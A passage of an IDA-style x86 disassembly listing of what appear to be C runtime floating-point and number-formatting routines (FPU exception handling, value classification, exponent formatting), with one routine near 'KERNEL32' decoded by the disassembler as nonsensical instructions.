		jz	loc_419A9B
		push	8
		call	sub_419E29
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_419A73
		cmp	ecx, 400h
		jz	short loc_419A4B
		cmp	ecx, 800h
		jz	short loc_419A23
		cmp	ecx, eax
		jnz	loc_419A93
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4217B0
		fld	ds:dbl_438048
		fnstsw	ax
		sahf
		ja	short loc_419A1B
		fchs


loc_419A1B:				; CODE XREF: sub_41997C+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419A91
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_41997C+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jbe	short loc_419A3B
		fld	ds:dbl_438038
		jmp	short loc_419A43
; ---------------------------------------------------------------------------


loc_419A3B:				; CODE XREF: sub_41997C+B5j
		fld	ds:dbl_438048
		fchs


loc_419A43:				; CODE XREF: sub_41997C+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419A91
; ---------------------------------------------------------------------------


loc_419A4B:				; CODE XREF: sub_41997C+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jbe	short loc_419A63
		fld	ds:dbl_438048
		jmp	short loc_419A6B
; ---------------------------------------------------------------------------


loc_419A63:				; CODE XREF: sub_41997C+DDj
		fld	ds:dbl_438038
		fchs


loc_419A6B:				; CODE XREF: sub_41997C+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419A91
; ---------------------------------------------------------------------------


loc_419A73:				; CODE XREF: sub_41997C+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_4217B0
		fld	ds:dbl_438038
		fnstsw	ax
		sahf
		ja	short loc_419A8B
		fchs


loc_419A8B:				; CODE XREF: sub_41997C+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_419A91:				; CODE XREF: sub_41997C+A5j
					; sub_41997C+CDj ...
		fstp	qword ptr [ecx]


loc_419A93:				; CODE XREF: sub_41997C+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_419B71
; ---------------------------------------------------------------------------


loc_419A9B:				; CODE XREF: sub_41997C+47j
					; sub_41997C+51j
		test	al, 2
		jz	loc_419B71
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_419B71
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_419AB6
		mov	esi, ebx


loc_419AB6:				; CODE XREF: sub_41997C+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jz	loc_419B5F
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_419D28
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_419B01
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_419B55
; ---------------------------------------------------------------------------


loc_419B01:				; CODE XREF: sub_41997C+17Aj
		fld	[ebp+var_C]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jnb	short loc_419B13
		mov	edx, ebx
		jmp	short loc_419B15
; ---------------------------------------------------------------------------


loc_419B13:				; CODE XREF: sub_41997C+191j
		xor	edx, edx


loc_419B15:				; CODE XREF: sub_41997C+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_419B49
		sub	eax, ecx


loc_419B2C:				; CODE XREF: sub_41997C+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_419B37
		test	esi, esi
		jnz	short loc_419B37
		mov	esi, ebx


loc_419B37:				; CODE XREF: sub_41997C+1B3j
					; sub_41997C+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_419B43
		or	byte ptr [ebp+var_C+3],	80h


loc_419B43:				; CODE XREF: sub_41997C+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_419B2C


loc_419B49:				; CODE XREF: sub_41997C+1ACj
		test	edx, edx
		jz	short loc_419B55
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_419B55:				; CODE XREF: sub_41997C+183j
					; sub_41997C+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_419B61
; ---------------------------------------------------------------------------


loc_419B5F:				; CODE XREF: sub_41997C+14Ej
		mov	esi, ebx


loc_419B61:				; CODE XREF: sub_41997C+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_419B6E
		push	10h
		call	sub_419E29
		pop	ecx


loc_419B6E:				; CODE XREF: sub_41997C+1E8j
		and	edi, 0FFFFFFFDh


loc_419B71:				; CODE XREF: sub_41997C+26j
					; sub_41997C+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_419B88
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_419B88
		push	20h
		call	sub_419E29
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_419B88:				; CODE XREF: sub_41997C+1F9j
					; sub_41997C+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41997C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419B93(int,int,int,int,int,int,double,int)

sub_419B93	proc near		; CODE XREF: sub_4195DE+2Bp
					; sub_419631+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_419C41
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_419BFE
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_419E06
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41D7F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419BF8
		push	esi
		call	sub_419C1B
		pop	ecx


loc_419BF8:				; CODE XREF: sub_419B93+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BFE:				; CODE XREF: sub_419B93+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_419E06
		push	[ebp+arg_0]
		call	sub_419C1B
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_419B93	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C1B	proc near		; CODE XREF: sub_419631+7Dp
					; sub_419B93+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_419C36
		jle	short locret_419C40
		cmp	eax, 3
		jg	short locret_419C40
		mov	ds:dword_469464, 22h
		retn
; ---------------------------------------------------------------------------


loc_419C36:				; CODE XREF: sub_419C1B+7j
		mov	ds:dword_469464, 21h

locret_419C40:				; CODE XREF: sub_419C1B+9j
					; sub_419C1B+Ej
		retn
sub_419C1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C41	proc near		; CODE XREF: sub_419B93+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_437F60


loc_419C48:				; CODE XREF: sub_419C41+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_419C5E
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_438038
		jl	short loc_419C48
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_419C5E:				; CODE XREF: sub_419C41+Dj
		mov	eax, ds:off_437F64[ecx*8]
		retn
sub_419C41	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C66	proc near		; CODE XREF: sub_419631+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_419C72
		push	5
		jmp	short loc_419C88
; ---------------------------------------------------------------------------


loc_419C72:				; CODE XREF: sub_419C66+6j
		test	al, 8
		jz	short loc_419C7A
		push	1
		jmp	short loc_419C88
; ---------------------------------------------------------------------------


loc_419C7A:				; CODE XREF: sub_419C66+Ej
		test	al, 4
		jz	short loc_419C82
		push	2
		jmp	short loc_419C88
; ---------------------------------------------------------------------------


loc_419C82:				; CODE XREF: sub_419C66+16j
		test	al, 1
		jz	short loc_419C8A
		push	3


loc_419C88:				; CODE XREF: sub_419C66+Aj
					; sub_419C66+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_419C8A:				; CODE XREF: sub_419C66+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_419C66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419C93(double)

sub_419C93	proc near		; CODE XREF: sub_415E4C:loc_415ED2p
					; sub_415F93:loc_416019p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_419C93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419CA5(double,int)

sub_419CA5	proc near		; CODE XREF: sub_419D28+82p
					; sub_419D28+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_419CA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CCE	proc near		; CODE XREF: sub_415E4C+31p
					; sub_415F93+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_419CE5
		cmp	[ebp+arg_0], edx
		jnz	short loc_419CF7
		push	1
		jmp	short loc_419D21
; ---------------------------------------------------------------------------


loc_419CE5:				; CODE XREF: sub_419CCE+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_419CF7
		cmp	[ebp+arg_0], edx
		jnz	short loc_419CF7
		push	2
		jmp	short loc_419D21
; ---------------------------------------------------------------------------


loc_419CF7:				; CODE XREF: sub_419CCE+11j
					; sub_419CCE+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_419D0A
		push	3
		jmp	short loc_419D21
; ---------------------------------------------------------------------------


loc_419D0A:				; CODE XREF: sub_419CCE+36j
		cmp	cx, 7FF0h
		jnz	short loc_419D24
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_419D1F
		cmp	[ebp+arg_0], edx
		jz	short loc_419D24


loc_419D1F:				; CODE XREF: sub_419CCE+4Aj
		push	4


loc_419D21:				; CODE XREF: sub_419CCE+15j
					; sub_419CCE+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419D24:				; CODE XREF: sub_419CCE+41j
					; sub_419CCE+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_419CCE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419D28(double,int)

sub_419D28	proc near		; CODE XREF: sub_41997C+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_4217B0
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_419D48
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_419DDE
; ---------------------------------------------------------------------------


loc_419D48:				; CODE XREF: sub_419D28+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_419DB7
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_419D60
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_419DB7


loc_419D60:				; CODE XREF: sub_419D28+31j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_4217B0
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_419D78
		push	1
		pop	eax
		jmp	short loc_419D7A
; ---------------------------------------------------------------------------


loc_419D78:				; CODE XREF: sub_419D28+49j
		xor	eax, eax


loc_419D7A:				; CODE XREF: sub_419D28+4Ej
					; sub_419D28+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_419D93
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_419D8D
		or	dword ptr [ebp+arg_0+4], 1


loc_419D8D:				; CODE XREF: sub_419D28+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_419D7A
; ---------------------------------------------------------------------------


loc_419D93:				; CODE XREF: sub_419D28+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_419DA1
		or	byte ptr [ebp+arg_0+7],	80h


loc_419DA1:				; CODE XREF: sub_419D28+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_419CA5
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_419DDE
; ---------------------------------------------------------------------------


loc_419DB7:				; CODE XREF: sub_419D28+28j
					; sub_419D28+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_419CA5
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_419DDE:				; CODE XREF: sub_419D28+1Bj
					; sub_419D28+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_419D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DE9	proc near		; CODE XREF: sub_4196C9+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419DE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DF7	proc near		; CODE XREF: sub_4196C9+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419DF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E06	proc near		; CODE XREF: sub_415E4C+13p
					; sub_415E4C+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_419E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E29	proc near		; CODE XREF: sub_41997C+1Dp
					; sub_41997C+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_419E40
		fld	ds:tbyte_438060
		fistp	[ebp+arg_0]
		wait


loc_419E40:				; CODE XREF: sub_419E29+Bj
		test	cl, 8
		jz	short loc_419E55
		fstsw	ax
		fld	ds:tbyte_438060
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_419E55:				; CODE XREF: sub_419E29+1Aj
		test	cl, 10h
		jz	short loc_419E64
		fld	ds:tbyte_43806C


loc_419E60:				; CODE XREF: sub_419ECF+Aj
		fstp	[ebp+var_8]
		wait


loc_419E64:				; CODE XREF: sub_419E29+2Fj
		test	cl, 4
		jz	short loc_419E72
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_419E72:				; CODE XREF: sub_419E29+3Ej
		test	cl, 20h
		jz	short locret_419E7D
		fldpi
		fstp	[ebp+var_8]
		wait

locret_419E7D:				; CODE XREF: sub_419E29+4Cj
		leave
		retn
sub_419E29	endp


; =============== S U B	R O U T	I N E =======================================



sub_419E7F	proc near		; CODE XREF: sub_415F1B+Fp
		push	30000h
		push	10000h
		call	sub_41D82B
		pop	ecx
		pop	ecx
		retn
sub_419E7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E91	proc near		; CODE XREF: sub_419ECF:loc_419EF3j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_4217C0
		fstp	[ebp+var_8]
		fld	ds:dbl_4217B8
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_421670
		fnstsw	ax
		sahf
		jbe	short loc_419ECB
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419ECB:				; CODE XREF: sub_419E91+33j
		xor	eax, eax
		leave
		retn
sub_419E91	endp


; =============== S U B	R O U T	I N E =======================================



sub_419ECF	proc near		; CODE XREF: sub_415F1B+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 706067FAh
		jb	short loc_419E60
		sal	byte ptr [ebp+edx+68h],	0C8h
		pop	ss
		inc	edx
		add	[eax-18h], dl
		mul	dword ptr [ebx+21h]
		inc	edx
		dec	ebp
		test	eax, eax
		jz	short loc_419EF3
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_419EF3:				; CODE XREF: sub_419ECF+1Dj
		jmp	sub_419E91
sub_419ECF	endp


; =============== S U B	R O U T	I N E =======================================



sub_419EF8	proc near		; DATA XREF: sub_415F33+1Eo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_417173
		cmp	eax, 65h
		pop	ecx
		jz	short loc_419F38


loc_419F0C:				; CODE XREF: sub_419EF8+3Ej
		inc	esi
		cmp	ds:dword_437F4C, 1
		jle	short loc_419F25
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_419F34
; ---------------------------------------------------------------------------


loc_419F25:				; CODE XREF: sub_419EF8+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, ds:off_437D40
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_419F34:				; CODE XREF: sub_419EF8+2Bj
		test	eax, eax
		jnz	short loc_419F0C


loc_419F38:				; CODE XREF: sub_419EF8+12j
		mov	cl, ds:byte_437F50
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_419F43:				; CODE XREF: sub_419EF8+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_419F43
		pop	esi
		retn
sub_419EF8	endp

; ---------------------------------------------------------------------------


loc_419F52:				; DATA XREF: sub_415F33+5o
		mov	eax, [esp+4]
		mov	dl, ds:byte_437F50
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419F6E


loc_419F62:				; CODE XREF: seg000:00419F6Cj
		cmp	cl, dl
		jz	short loc_419F6E
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_419F62


loc_419F6E:				; CODE XREF: seg000:00419F60j
					; seg000:00419F64j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_419F9F


loc_419F75:				; CODE XREF: seg000:00419F86j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419F88
		cmp	cl, 65h
		jz	short loc_419F88
		cmp	cl, 45h
		jz	short loc_419F88
		inc	eax
		jmp	short loc_419F75
; ---------------------------------------------------------------------------


loc_419F88:				; CODE XREF: seg000:00419F79j
					; seg000:00419F7Ej ...
		mov	ecx, eax


loc_419F8A:				; CODE XREF: seg000:00419F8Ej
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_419F8A
		cmp	[eax], dl
		jnz	short loc_419F95
		dec	eax


loc_419F95:				; CODE XREF: seg000:00419F92j
					; seg000:00419F9Dj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_419F95

locret_419F9F:				; CODE XREF: seg000:00419F73j
		retn
; ---------------------------------------------------------------------------


loc_419FA0:				; DATA XREF: sub_415F33+28o
		mov	eax, [esp+4]
		fld	qword ptr [eax]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jb	short loc_419FB5
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_419FB5:				; CODE XREF: seg000:00419FAFj
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FB8	proc near		; DATA XREF: sub_415F33+14o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_419FE1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41DCEE
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FE1:				; CODE XREF: sub_419FB8+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41DD1B
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_419FB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FF6	proc near		; CODE XREF: sub_41A273+17p
					; sub_41A2BD+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:byte_4694D0,	0
		push	ebx
		push	esi
		jz	short loc_41A02B
		mov	ebx, [ebp+arg_8]
		mov	eax, ds:dword_4694CC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41A30E
		pop	ecx
		pop	ecx
		jmp	short loc_41A063
; ---------------------------------------------------------------------------


loc_41A02B:				; CODE XREF: sub_419FF6+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41DDBF
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41DD48
		add	esp, 14h


loc_41A063:				; CODE XREF: sub_419FF6+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41A06F
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41A06F:				; CODE XREF: sub_419FF6+73j
		test	ebx, ebx
		jle	short loc_41A087
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, ds:byte_437F50
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41A087:				; CODE XREF: sub_419FF6+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	ds:byte_4694D0,	cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_415BE0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41A0AE
		mov	byte ptr [ecx],	45h


loc_41A0AE:				; CODE XREF: sub_419FF6+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41A0F3
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41A0C2
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41A0C2:				; CODE XREF: sub_419FF6+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41A0D9
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41A0D9:				; CODE XREF: sub_419FF6+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41A0F0
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41A0F0:				; CODE XREF: sub_419FF6+E7j
		add	[ecx+1], bl


loc_41A0F3:				; CODE XREF: sub_419FF6+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419FF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A0FA	proc near		; CODE XREF: sub_41A29A+13p
					; sub_41A2BD+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	ds:byte_4694D0,	0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41A135
		mov	eax, ds:dword_4694D4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, ds:dword_4694CC
		cmp	eax, ebx
		jnz	short loc_41A165
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41A165
; ---------------------------------------------------------------------------


loc_41A135:				; CODE XREF: sub_41A0FA+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41DDBF
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41DD48
		add	esp, 14h


loc_41A165:				; CODE XREF: sub_41A0FA+22j
					; sub_41A0FA+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41A173
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41A173:				; CODE XREF: sub_41A0FA+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41A18A
		push	1
		push	edi
		call	sub_41A30E
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41A18C
; ---------------------------------------------------------------------------


loc_41A18A:				; CODE XREF: sub_41A0FA+7Ej
		add	edi, eax


loc_41A18C:				; CODE XREF: sub_41A0FA+8Ej
		test	ebx, ebx
		jle	short loc_41A1D1
		push	1
		push	edi
		call	sub_41A30E
		mov	al, ds:byte_437F50
		pop	ecx
		mov	[edi], al
